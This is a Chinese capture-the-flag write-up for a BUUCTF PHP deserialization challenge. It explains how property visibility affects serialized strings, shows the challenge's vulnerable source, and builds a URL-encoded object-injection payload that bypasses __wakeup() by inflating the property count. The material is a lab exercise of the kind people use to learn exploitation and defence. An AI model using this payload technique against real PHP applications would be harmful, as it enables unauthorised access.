zoukankan      html  css  js  c++  java
  • BUUCTF PHP反序列化

    [极客大挑战 2019]PHP

    知识点

    1、public、protected与private在序列化时的区别:
    protected属性被序列化的时候属性值会变成%00*%00属性名
    private属性被序列化的时候属性值会变成%00类名%00属性名
    测试:

    <?php
    class people{
        public $name = 'Hh0';
        protected $age = 21;
        private $flag = 'flag{}';
    }
    $a = new people();
    echo serialize($a);
    echo "
    ";
    echo urlencode(serialize($a));
    

    DKD6Te.png
    %00是空白符,可见,$name被序列化后变成%00*%00age$flag被反序列化后变成%00people%00flag

    解题

    1、页面提示“备份”,最后访问/www.zip下载到源码
    index.php关键部分:

    <?php
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
        ?>
    

    class.php:

    <?php
    include 'flag.php';
    
    error_reporting(0);
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
                
            }
        }
    }
    ?>
    

    在执行的__destruct()的时候,如果password等于100,且$username等于admin,就能输出flag。
    由于进行反序列化时,会优先调用__wakeup(),使得$username的值为guest。
    我们知道当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup(),所以利用序列化字符串中对象的个数进行绕过__wakeup()。
    直接复制题目的,序列化一下:

    <?php
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    }
    $a = new Name('admin',100);
    echo serialize($a)."
    ";
    echo urlencode(serialize($a));
    

    运行结果:
    DKsfqf.png
    把2改大,payload:

    ?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
    
  • 相关阅读:
    css 基线与行高
    requests超时
    小记--------Ambari2.7.4集成Kylin3.0
    记一次--------HDP3.1 spark创建表hive读不到,hive创建表spark读不到
    记一次-------- sqoop同步mysql到hive 执行太慢
    记一次--------hive创建表comment中文乱码解决
    .Net Core学习之路-跳坑(一)
    NGINX、HAProxy和Traefik负载均衡能力对比
    idea 一键启动多个微服务项目
    vuedraggable自由拖拽
  • 原文地址:https://www.cnblogs.com/wrnan/p/14007563.html
Copyright © 2011-2022 走看看